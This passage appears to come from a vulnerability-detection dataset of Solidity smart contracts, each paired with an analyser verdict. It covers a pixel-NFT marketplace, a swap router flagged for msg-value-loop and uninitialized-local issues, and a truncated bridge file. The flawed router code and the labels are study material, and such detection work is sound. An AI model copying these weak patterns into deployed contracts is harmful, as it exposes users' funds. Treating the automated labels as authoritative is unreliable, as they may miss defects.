// ERC-165 Compatibility (https://github.com/ethereum/EIPs/issues/165)
function supportsInterface(bytes4 _interfaceID) external view returns (bool);
}
/// @title A facet of PixelCore that manages special access privileges.
/// @author Oliver Schneider <info@pixelcoins.io> (https://pixelcoins.io)
contract PixelAuthority {
/// @dev Emited when contract is upgraded
event ContractUpgrade(address newContract);
address public authorityAddress;
uint public authorityBalance = 0;
/// @dev Access modifier for authority-only functionality
modifier onlyAuthority() {
require(msg.sender == authorityAddress);
_;
}
/// @dev Assigns a new address to act as the authority. Only available to the current authority.
/// @param _newAuthority The address of the new authority
function setAuthority(address _newAuthority) external onlyAuthority {
require(_newAuthority != address(0));
authorityAddress = _newAuthority;
}
}
/// @title Base contract for PixelCoins. Holds all common structs, events and base variables.
/// @author Oliver Schneider <info@pixelcoins.io> (https://pixelcoins.io)
/// @dev See the PixelCore contract documentation to understand how the various contract facets are arranged.
contract PixelBase is PixelAuthority {
/*** EVENTS ***/
/// @dev Transfer event as defined in current draft of ERC721. Emitted every time a Pixel
/// ownership is assigned.
event Transfer(address from, address to, uint256 tokenId);
/*** CONSTANTS ***/
uint32 public WIDTH = 1000;
uint32 public HEIGHT = 1000;
/*** STORAGE ***/
/// @dev A mapping from pixel ids to the address that owns them. A pixel address of 0 means,
/// that the pixel can still be bought.
mapping (uint256 => address) public pixelIndexToOwner;
/// Address that is approved to change ownship
mapping (uint256 => address) public pixelIndexToApproved;
/// Stores the color of an pixel, indexed by pixelid
mapping (uint256 => uint32) public colors;
// @dev A mapping from owner address to count of tokens that address owns.
// Used internally inside balanceOf() to resolve ownership count.
mapping (address => uint256) ownershipTokenCount;
// Internal utility functions: These functions all assume that their input arguments
// are valid. We leave it to public methods to sanitize their inputs and follow
// the required logic.
/// @dev Assigns ownership of a specific Pixel to an address.
function _transfer(address _from, address _to, uint256 _tokenId) internal {
// Can no overflowe since the number of Pixels is capped.
// transfer ownership
ownershipTokenCount[_to]++;
pixelIndexToOwner[_tokenId] = _to;
if (_from != address(0)) {
ownershipTokenCount[_from]--;
delete pixelIndexToApproved[_tokenId];
}
// Emit the transfer event.
Transfer(_from, _to, _tokenId);
}
/// @dev Checks if a given address is the current owner of a particular Pixel.
/// @param _claimant the address we are validating against.
/// @param _tokenId Pixel id
function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) {
return pixelIndexToOwner[_tokenId] == _claimant;
}
/// @dev Checks if a given address currently has transferApproval for a particular Pixel.
/// @param _claimant the address we are confirming pixel is approved for.
/// @param _tokenId pixel id, only valid when > 0
function _approvedFor(address _claimant, uint256 _tokenId) internal view returns (bool) {
return pixelIndexToApproved[_tokenId] == _claimant;
}
}
/// @title The facet of the PixelCoins core contract that manages ownership, ERC-721 (draft) compliant.
/// @author Oliver Schneider <info@pixelcoins.io> (https://pixelcoins.io), based on Axiom Zen (https://www.axiomzen.co)
/// @dev Ref: https://github.com/ethereum/EIPs/issues/721
/// See the PixelCore contract documentation to understand how the various contract facets are arranged.
contract PixelOwnership is PixelBase, ERC721 {
/// @notice Name and symbol of the non fungible token, as defined in ERC721.
string public constant name = "PixelCoins";
string public constant symbol = "PXL";
bytes4 constant InterfaceSignature_ERC165 =
bytes4(keccak256('supportsInterface(bytes4)'));
bytes4 constant InterfaceSignature_ERC721 =
bytes4(keccak256('name()')) ^
bytes4(keccak256('symbol()')) ^
bytes4(keccak256('totalSupply()')) ^
bytes4(keccak256('balanceOf(address)')) ^
bytes4(keccak256('ownerOf(uint256)')) ^
bytes4(keccak256('approve(address,uint256)')) ^
bytes4(keccak256('transfer(address,uint256)')) ^
bytes4(keccak256('transferFrom(address,address,uint256)')) ^
bytes4(keccak256('tokensOfOwner(address)')) ^
bytes4(keccak256('tokenMetadata(uint256,string)'));
string public metaBaseUrl = "https://pixelcoins.io/meta/";
/// @notice Introspection interface as per ERC-165 (https://github.com/ethereum/EIPs/issues/165).
/// Returns true for any standardized interfaces implemented by this contract. We implement
/// ERC-165 (obviously!) and ERC-721.
function supportsInterface(bytes4 _interfaceID) external view returns (bool) {
return ((_interfaceID == InterfaceSignature_ERC165) || (_interfaceID == InterfaceSignature_ERC721));
}
/// @notice Returns the number ofd Pixels owned by a specific address.
/// @param _owner The owner address to check.
/// @dev Required for ERC-721 compliance
function balanceOf(address _owner) public view returns (uint256 count) {
return ownershipTokenCount[_owner];
}
/// @notice Transfers a Pixel to another address. If transferring to a smart
/// contract be VERY CAREFUL to ensure that it is aware of ERC-721 (or
/// PixelCoins specifically) or your Pixel may be lost forever. Seriously.
/// @param _to The address of the recipient, can be a user or contract.
/// @param _tokenId The ID of the Pixel to transfer.
/// @dev Required for ERC-721 compliance.
function transfer(
address _to,
uint256 _tokenId
)
external
{
// Safety check to prevent against an unexpected 0x0 default.
require(_to != address(0));
// Disallow transfers to this contract to prevent accidental misuse.
// The contract should never own any pixel (except very briefly
// after a gen0 cat is created and before it goes on auction).
require(_to != address(this));
// You can only send your own pixel.
require(_owns(msg.sender, _tokenId));
// address is not currently managed by the contract (it is in an auction)
require(pixelIndexToApproved[_tokenId] != address(this));
// Reassign ownership, clear pending approvals, emit Transfer event.
_transfer(msg.sender, _to, _tokenId);
}
/// @notice Grant another address the right to transfer a specific pixel via
/// transferFrom(). This is the preferred flow for transfering NFTs to contracts.
/// @param _to The address to be granted transfer approval. Pass address(0) to
/// clear all approvals.
/// @param _tokenId The ID of the pixel that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function approve(
address _to,
uint256 _tokenId
)
external
{
// Only an owner can grant transfer approval.
require(_owns(msg.sender, _tokenId));
// address is not currently managed by the contract (it is in an auction)
require(pixelIndexToApproved[_tokenId] != address(this));
// Register the approval (replacing any previous approval).
pixelIndexToApproved[_tokenId] = _to;
// Emit approval event.
Approval(msg.sender, _to, _tokenId);
}
/// @notice Transfer a Pixel owned by another address, for which the calling address
/// has previously been granted transfer approval by the owner.
/// @param _from The address that owns the pixel to be transfered.
/// @param _to The address that should take ownership of the Pixel. Can be any address,
/// including the caller.
/// @param _tokenId The ID of the Pixel to be transferred.
/// @dev Required for ERC-721 compliance.
function transferFrom(
address _from,
address _to,
uint256 _tokenId
)
external
{
// Safety check to prevent against an unexpected 0x0 default.
require(_to != address(0));
// Disallow transfers to this contract to prevent accidental misuse.
// The contract should never own anyd Pixels (except very briefly
// after a gen0 cat is created and before it goes on auction).
require(_to != address(this));
// Check for approval and valid ownership
require(_approvedFor(msg.sender, _tokenId));
require(_owns(_from, _tokenId));
// Reassign ownership (also clears pending approvals and emits Transfer event).
_transfer(_from, _to, _tokenId);
}
/// @notice Returns the total number of pixels currently in existence.
/// @dev Required for ERC-721 compliance.
function totalSupply() public view returns (uint) {
return WIDTH * HEIGHT;
}
/// @notice Returns the address currently assigned ownership of a given Pixel.
/// @dev Required for ERC-721 compliance.
function ownerOf(uint256 _tokenId)
external
view
returns (address owner)
{
owner = pixelIndexToOwner[_tokenId];
require(owner != address(0));
}
/// @notice Returns the addresses currently assigned ownership of the given pixel area.
function ownersOfArea(uint256 x, uint256 y, uint256 x2, uint256 y2) external view returns (address[] result) {
require(x2 > x && y2 > y);
require(x2 <= WIDTH && y2 <= HEIGHT);
result = new address[]((y2 - y) * (x2 - x));
uint256 r = 0;
for (uint256 i = y; i < y2; i++) {
uint256 tokenId = i * WIDTH;
for (uint256 j = x; j < x2; j++) {
result[r] = pixelIndexToOwner[tokenId + j];
r++;
}
}
}
/// @notice Returns a list of all Pixel IDs assigned to an address.
/// @param _owner The owner whosed Pixels we are interested in.
/// @dev This method MUST NEVER be called by smart contract code. First, it's fairly
/// expensive (it walks the entire Pixel array looking for pixels belonging to owner),
/// but it also returns a dynamic array, which is only supported for web3 calls, and
/// not contract-to-contract calls.
function tokensOfOwner(address _owner) external view returns(uint256[] ownerTokens) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
// Return an empty array
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 totalPixels = totalSupply();
uint256 resultIndex = 0;
// We count on the fact that all pixels have IDs starting at 0 and increasing
// sequentially up to the totalCat count.
uint256 pixelId;
for (pixelId = 0; pixelId <= totalPixels; pixelId++) {
if (pixelIndexToOwner[pixelId] == _owner) {
result[resultIndex] = pixelId;
resultIndex++;
}
}
return result;
}
}
// Taken from https://ethereum.stackexchange.com/a/10929
function uintToString(uint v) constant returns (string str) {
uint maxlength = 100;
bytes memory reversed = new bytes(maxlength);
uint i = 0;
while (v != 0) {
uint remainder = v % 10;
v = v / 10;
reversed[i++] = byte(48 + remainder);
}
bytes memory s = new bytes(i);
for (uint j = 0; j < i; j++) {
s[j] = reversed[i - 1 - j];
}
str = string(s);
}
// Taken from https://ethereum.stackexchange.com/a/10929
function appendUintToString(string inStr, uint v) constant returns (string str) {
uint maxlength = 100;
bytes memory reversed = new bytes(maxlength);
uint i = 0;
while (v != 0) {
uint remainder = v % 10;
v = v / 10;
reversed[i++] = byte(48 + remainder);
}
bytes memory inStrb = bytes(inStr);
bytes memory s = new bytes(inStrb.length + i);
uint j;
for (j = 0; j < inStrb.length; j++) {
s[j] = inStrb[j];
}
for (j = 0; j < i; j++) {
s[j + inStrb.length] = reversed[i - 1 - j];
}
str = string(s);
}
function setMetaBaseUrl(string _metaBaseUrl) external onlyAuthority {
metaBaseUrl = _metaBaseUrl;
}
/// @notice Returns a URI pointing to a metadata package for this token conforming to
/// ERC-721 (https://github.com/ethereum/EIPs/issues/721)
/// @param _tokenId The ID number of the Pixel whose metadata should be returned.
function tokenMetadata(uint256 _tokenId) external view returns (string infoUrl) {
return appendUintToString(metaBaseUrl, _tokenId);
}
}
contract PixelPainting is PixelOwnership {
event Paint(uint256 tokenId, uint32 color);
// Sets the color of an individual pixel
function setPixelColor(uint256 _tokenId, uint32 _color) external {
// check that the token id is in the range
require(_tokenId < HEIGHT * WIDTH);
// check that the sender is owner of the pixel
require(_owns(msg.sender, _tokenId));
colors[_tokenId] = _color;
}
// Sets the color of the pixels in an area, left to right and then top to bottom
function setPixelAreaColor(uint256 x, uint256 y, uint256 x2, uint256 y2, uint32[] _colors) external {
require(x2 > x && y2 > y);
require(x2 <= WIDTH && y2 <= HEIGHT);
require(_colors.length == (y2 - y) * (x2 - x));
uint256 r = 0;
for (uint256 i = y; i < y2; i++) {
uint256 tokenId = i * WIDTH;
for (uint256 j = x; j < x2; j++) {
if (_owns(msg.sender, tokenId + j)) {
uint32 color = _colors[r];
colors[tokenId + j] = color;
Paint(tokenId + j, color);
}
r++;
}
}
}
// Returns the color of a given pixel
function getPixelColor(uint256 _tokenId) external view returns (uint32 color) {
require(_tokenId < HEIGHT * WIDTH);
color = colors[_tokenId];
}
// Returns the colors of the pixels in an area, left to right and then top to bottom
function getPixelAreaColor(uint256 x, uint256 y, uint256 x2, uint256 y2) external view returns (uint32[] result) {
require(x2 > x && y2 > y);
require(x2 <= WIDTH && y2 <= HEIGHT);
result = new uint32[]((y2 - y) * (x2 - x));
uint256 r = 0;
for (uint256 i = y; i < y2; i++) {
uint256 tokenId = i * WIDTH;
for (uint256 j = x; j < x2; j++) {
result[r] = colors[tokenId + j];
r++;
}
}
}
}
/// @title all functions for buying empty pixels
contract PixelMinting is PixelPainting {
uint public pixelPrice = 3030 szabo;
// Set the price for a pixel
function setNewPixelPrice(uint _pixelPrice) external onlyAuthority {
pixelPrice = _pixelPrice;
}
// buy en empty pixel
function buyEmptyPixel(uint256 _tokenId) external payable {
require(msg.value == pixelPrice);
require(_tokenId < HEIGHT * WIDTH);
require(pixelIndexToOwner[_tokenId] == address(0));
// increase authority balance
authorityBalance += msg.value;
// This will assign ownership, and also emit the Transfer event as
// per ERC721 draft
_transfer(0, msg.sender, _tokenId);
}
// buy an area of pixels, left to right, top to bottom
function buyEmptyPixelArea(uint256 x, uint256 y, uint256 x2, uint256 y2) external payable {
require(x2 > x && y2 > y);
require(x2 <= WIDTH && y2 <= HEIGHT);
require(msg.value == pixelPrice * (x2-x) * (y2-y));
uint256 i;
uint256 tokenId;
uint256 j;
// check that all pixels to buy are available
for (i = y; i < y2; i++) {
tokenId = i * WIDTH;
for (j = x; j < x2; j++) {
require(pixelIndexToOwner[tokenId + j] == address(0));
}
}
authorityBalance += msg.value;
// Do the actual transfer
for (i = y; i < y2; i++) {
tokenId = i * WIDTH;
for (j = x; j < x2; j++) {
_transfer(0, msg.sender, tokenId + j);
}
}
}
}
/// @title all functions for managing pixel auctions
contract PixelAuction is PixelMinting {
// Represents an auction on an NFT
struct Auction {
// Current state of the auction.
address highestBidder;
uint highestBid;
uint256 endTime;
bool live;
}
// Map from token ID to their corresponding auction.
mapping (uint256 => Auction) tokenIdToAuction;
// Allowed withdrawals of previous bids
mapping (address => uint) pendingReturns;
// Duration of an auction
uint256 public duration = 60 * 60 * 24 * 4;
// Auctions will be enabled later
bool public auctionsEnabled = false;
// Change the duration for new auctions
function setDuration(uint _duration) external onlyAuthority {
duration = _duration;
}
// Enable or disable auctions
function setAuctionsEnabled(bool _auctionsEnabled) external onlyAuthority {
auctionsEnabled = _auctionsEnabled;
}
// create a new auctions for a given pixel, only owner or authority can do this
// The authority will only do this if pixels are misused or lost
function createAuction(
uint256 _tokenId
)
external payable
{
// only authority or owner can start auction
require(auctionsEnabled);
require(_owns(msg.sender, _tokenId) || msg.sender == authorityAddress);
// No auction is currently running
require(!tokenIdToAuction[_tokenId].live);
uint startPrice = pixelPrice;
if (msg.sender == authorityAddress) {
startPrice = 0;
}
require(msg.value == startPrice);
// this prevents transfers during the auction
pixelIndexToApproved[_tokenId] = address(this);
tokenIdToAuction[_tokenId] = Auction(
msg.sender,
startPrice,
block.timestamp + duration,
true
);
AuctionStarted(_tokenId);
}
// bid for an pixel auction
function bid(uint256 _tokenId) external payable {
// No arguments are necessary, all
// information is already part of
// the transaction. The keyword payable
// is required for the function to
// be able to receive Ether.
Auction storage auction = tokenIdToAuction[_tokenId];
// Revert the call if the bidding
// period is over.
require(auction.live);
require(auction.endTime > block.timestamp);
// If the bid is not higher, send the
// money back.
require(msg.value > auction.highestBid);
if (auction.highestBidder != 0) {
// Sending back the money by simply using
// highestBidder.send(highestBid) is a security risk
// because it could execute an untrusted contract.
// It is always safer to let the recipients
// withdraw their money themselves.
pendingReturns[auction.highestBidder] += auction.highestBid;
}
auction.highestBidder = msg.sender;
auction.highestBid = msg.value;
HighestBidIncreased(_tokenId, msg.sender, msg.value);
}
/// Withdraw a bid that was overbid.
function withdraw() external returns (bool) {
uint amount = pendingReturns[msg.sender];
if (amount > 0) {
// It is important to set this to zero because the recipient
// can call this function again as part of the receiving call
// before `send` returns.
pendingReturns[msg.sender] = 0;
if (!msg.sender.send(amount)) {
// No need to call throw here, just reset the amount owing
pendingReturns[msg.sender] = amount;
return false;
}
}
return true;
}
// /// End the auction and send the highest bid
// /// to the beneficiary.
function endAuction(uint256 _tokenId) external {
// It is a good guideline to structure functions that interact
// with other contracts (i.e. they call functions or send Ether)
// into three phases:
// 1. checking conditions
// 2. performing actions (potentially changing conditions)
// 3. interacting with other contracts
// If these phases are mixed up, the other contract could call
// back into the current contract and modify the state or cause
// effects (ether payout) to be performed multiple times.
// If functions called internally include interaction with external
// contracts, they also have to be considered interaction with
// external contracts.
Auction storage auction = tokenIdToAuction[_tokenId];
// 1. Conditions
require(auction.endTime < block.timestamp);
require(auction.live); // this function has already been called
// 2. Effects
auction.live = false;
AuctionEnded(_tokenId, auction.highestBidder, auction.highestBid);
// 3. Interaction
address owner = pixelIndexToOwner[_tokenId];
// transfer money without
uint amount = auction.highestBid * 9 / 10;
pendingReturns[owner] += amount;
authorityBalance += (auction.highestBid - amount);
// transfer token
_transfer(owner, auction.highestBidder, _tokenId);
}
// // Events that will be fired on changes.
event AuctionStarted(uint256 _tokenId);
event HighestBidIncreased(uint256 _tokenId, address bidder, uint amount);
event AuctionEnded(uint256 _tokenId, address winner, uint amount);
/// @dev Returns auction info for an NFT on auction.
/// @param _tokenId - ID of NFT on auction.
function getAuction(uint256 _tokenId)
external
view
returns
(
address highestBidder,
uint highestBid,
uint endTime,
bool live
) {
Auction storage auction = tokenIdToAuction[_tokenId];
return (
auction.highestBidder,
auction.highestBid,
auction.endTime,
auction.live
);
}
/// @dev Returns the current price of an auction.
/// @param _tokenId - ID of the token price we are checking.
function getHighestBid(uint256 _tokenId)
external
view
returns (uint256)
{
Auction storage auction = tokenIdToAuction[_tokenId];
return auction.highestBid;
}
}
/// @title PixelCore: Pixels in the blockchain
/// @author Oliver Schneider <info@pixelcoins.io> (https://pixelcoins.io), based on Axiom Zen (https://www.axiomzen.co)
/// @dev The main PixelCoins contract
contract PixelCore is PixelAuction {
// Set in case the core contract is broken and an upgrade is required
address public newContractAddress;
/// @notice Creates the main PixelCore smart contract instance.
function PixelCore() public {
// the creator of the contract is the initial authority
authorityAddress = msg.sender;
}
/// @dev Used to mark the smart contract as upgraded, in case there is a serious
/// breaking bug. This method does nothing but keep track of the new contract and
/// emit a message indicating that the new address is set. It's up to clients of this
/// contract to update to the new contract address in that case. (This contract will
/// be paused indefinitely if such an upgrade takes place.)
/// @param _v2Address new address
function setNewAddress(address _v2Address) external onlyAuthority {
newContractAddress = _v2Address;
ContractUpgrade(_v2Address);
}
// @dev Allows the authority to capture the balance available to the contract.
function withdrawBalance() external onlyAuthority returns (bool) {
uint amount = authorityBalance;
if (amount > 0) {
authorityBalance = 0;
if (!authorityAddress.send(amount)) {
authorityBalance = amount;
return false;
}
}
return true;
}
} | No vulnerabilities found |
// File: @uniswap/lib/contracts/libraries/TransferHelper.sol
pragma solidity >=0.6.0;
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED');
}
function safeTransfer(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
}
function safeTransferFrom(address token, address from, address to, uint value) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED');
}
function safeTransferETH(address to, uint value) internal {
(bool success,) = to.call{value:value}(new bytes(0));
require(success, 'TransferHelper: ETH_TRANSFER_FAILED');
}
}
// File: @uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// File: contracts/libraries/UniswapV3Lib.sol
pragma solidity >=0.5.0;
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library SafeMath {
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
library UniswapV3Lib {
using SafeMath for uint256;
function checkAndConvertETHToWETH(address token) internal pure returns(address) {
if(token == address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)) {
return address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
}
return token;
}
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB) internal pure returns (address, address) {
tokenA = checkAndConvertETHToWETH(tokenA);
tokenB = checkAndConvertETHToWETH(tokenB);
return(tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA));
}
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
return(address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
)))));
}
function getReservesByPair(address pair, address tokenA, address tokenB) internal view returns (uint112 reserveA, uint112 reserveB) {
(address token0,) = sortTokens(tokenA, tokenB);
(uint112 reserve0, uint112 reserve1,) = IUniswapV2Pair(pair).getReserves();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
// given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
function getAmountOut(uint256 amountIn, uint256 reserveIn, uint256 reserveOut) internal pure returns (uint112 amountOut) {
require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT');
uint256 amountInWithFee = amountIn.mul(997);
uint256 numerator = amountInWithFee.mul(reserveOut);
uint256 denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = uint112(numerator / denominator);
}
function getAmountOutByPair(uint112 amountIn, address pair, address tokenA, address tokenB) internal view returns(uint112 amountOut) {
(uint112 reserveIn, uint112 reserveOut) = getReservesByPair(pair, tokenA, tokenB);
return (getAmountOut(amountIn, reserveIn, reserveOut));
}
}
// File: contracts/interfaces/IERC20.sol
pragma solidity >=0.5.0;
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
// File: contracts/interfaces/IWETH.sol
pragma solidity >=0.5.0;
interface IWETH {
function deposit() external payable;
function transfer(address to, uint value) external returns (bool);
function withdraw(uint) external;
}
// File: contracts/UniswapV3Router.sol
pragma solidity =0.6.12;
contract UniswapV3Router {
using SafeMath for uint;
address public immutable factory;
address public immutable WETH;
address public constant ETH_IDENTIFIER = address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE);
constructor(address _factory, address _WETH) public {
factory = _factory;
WETH = _WETH;
}
receive() external payable {
}
function swap(
uint112 amountIn,
uint112 amountOutMin,
address[] calldata path
)
external
payable
returns (uint112 tokensBought)
{
require(path.length > 1, "More then 1 token required");
uint8 pairs = uint8(path.length - 1);
address tokenBought;
tokensBought = amountIn;
address receiver;
for(uint8 i = 0; i < pairs; i++) {
address tokenSold = path[i];
tokenBought = path[i+1];
address currentPair = receiver;
if (currentPair == address(0)) {
currentPair = UniswapV3Lib.pairFor(factory, tokenSold, tokenBought);
}
if (i == 0) {
if (tokenSold == ETH_IDENTIFIER) {
tokenSold = WETH;
uint256 amount = msg.value;
IWETH(WETH).deposit{value: amount}();
assert(IWETH(WETH).transfer(currentPair, amount));
}
else {
TransferHelper.safeTransferFrom(
tokenSold, msg.sender, currentPair, amountIn
);
}
}
//AmountIn for this hop is amountOut of previous hop
tokensBought = UniswapV3Lib.getAmountOutByPair(tokensBought, currentPair, tokenSold, tokenBought);
if ((i + 1) == pairs) {
if ( tokenBought == ETH_IDENTIFIER ) {
receiver = address(this);
}
else {
receiver = msg.sender;
}
}
else {
receiver = UniswapV3Lib.pairFor(factory, tokenBought, path[i+2]);
}
(address token0,) = UniswapV3Lib.sortTokens(tokenSold, tokenBought);
(uint112 amount0Out, uint112 amount1Out) = tokenSold == token0 ? (uint112(0), tokensBought) : (tokensBought, uint112(0));
IUniswapV2Pair(currentPair).swap(
amount0Out, amount1Out, receiver, new bytes(0)
);
}
if (tokenBought == ETH_IDENTIFIER) {
IWETH(WETH).withdraw(tokensBought);
TransferHelper.safeTransferETH(msg.sender, tokensBought);
}
require(tokensBought >= amountOutMin, "UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT");
}
} | These are the vulnerabilities found
1) msg-value-loop with High impact
2) uninitialized-local with Medium impact |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// Sources flattened with hardhat v2.5.0 https://hardhat.org
// File contracts/external/ovm/OVM_CrossDomainEnabled.sol
/**
* @title iOVM_CrossDomainMessenger
* @notice Copied directly from https://github.com/ethereum-optimism/optimism/blob/294246d65e650f497527de398f51b2f6d11f602f/packages/contracts/contracts/libraries/bridge/ICrossDomainMessenger.sol
*/
interface iOVM_CrossDomainMessenger {
/*************
* Variables *
*************/
function xDomainMessageSender() external view returns (address);
/********************
* Public Functions *
********************/
/**
* Sends a cross domain message to the target messenger.
* @param _target Target contract address.
* @param _message Message to send to the target.
* @param _gasLimit Gas limit for the provided message.
*/
function sendMessage(
address _target,
bytes calldata _message,
uint32 _gasLimit
) external;
}
/**
* @title OVM_CrossDomainEnabled
* @notice Copied from: https://github.com/ethereum-optimism/optimism/blob/294246d65e650f497527de398f51b2f6d11f602f/packages/contracts/contracts/libraries/bridge/CrossDomainEnabled.sol
* @dev Helper contract for contracts performing cross-domain communications
*
* Compiler used: defined by inheriting contract
* Runtime target: defined by inheriting contract
*/
contract OVM_CrossDomainEnabled {
/*************
* Variables *
*************/
// Messenger contract used to send and recieve messages from the other domain.
address public messenger;
/***************
* Constructor *
***************/
/**
* @param _messenger Address of the CrossDomainMessenger on the current layer.
*/
constructor(address _messenger) {
messenger = _messenger;
}
/**********************
* Function Modifiers *
**********************/
/**
* Enforces that the modified function is only callable by a specific cross-domain account.
* @param _sourceDomainAccount The only account on the originating domain which is
* authenticated to call this function.
*/
modifier onlyFromCrossDomainAccount(address _sourceDomainAccount) {
require(msg.sender == address(getCrossDomainMessenger()), "OVM_XCHAIN: messenger contract unauthenticated");
require(
getCrossDomainMessenger().xDomainMessageSender() == _sourceDomainAccount,
"OVM_XCHAIN: wrong sender of cross-domain message"
);
_;
}
/**********************
* Internal Functions *
**********************/
/**
* Gets the messenger, usually from storage. This function is exposed in case a child contract
* needs to override.
* @return The address of the cross-domain messenger contract which should be used.
*/
function getCrossDomainMessenger() internal virtual returns (iOVM_CrossDomainMessenger) {
return iOVM_CrossDomainMessenger(messenger);
}
/**
* Sends a message to an account on another domain
* @param _crossDomainTarget The intended recipient on the destination domain
* @param _message The data to send to the target (usually calldata to a function with
* `onlyFromCrossDomainAccount()`)
* @param _gasLimit The gasLimit for the receipt of the message on the target domain.
*/
function sendCrossDomainMessage(
address _crossDomainTarget,
uint32 _gasLimit,
bytes memory _message
) internal {
getCrossDomainMessenger().sendMessage(_crossDomainTarget, _message, _gasLimit);
}
}
// File contracts/insured-bridge/interfaces/MessengerInterface.sol
/**
* @notice Sends cross chain messages to contracts on a specific L2 network. The `relayMessage` implementation will
* differ for each L2.
*/
interface MessengerInterface {
function relayMessage(
address target,
address userToRefund,
uint256 l1CallValue,
uint256 gasLimit,
uint256 gasPrice,
uint256 maxSubmissionCost,
bytes memory message
) external payable;
}
// File @openzeppelin/contracts/utils/Context.sol@v4.1.0
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File @openzeppelin/contracts/access/Ownable.sol@v4.1.0
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
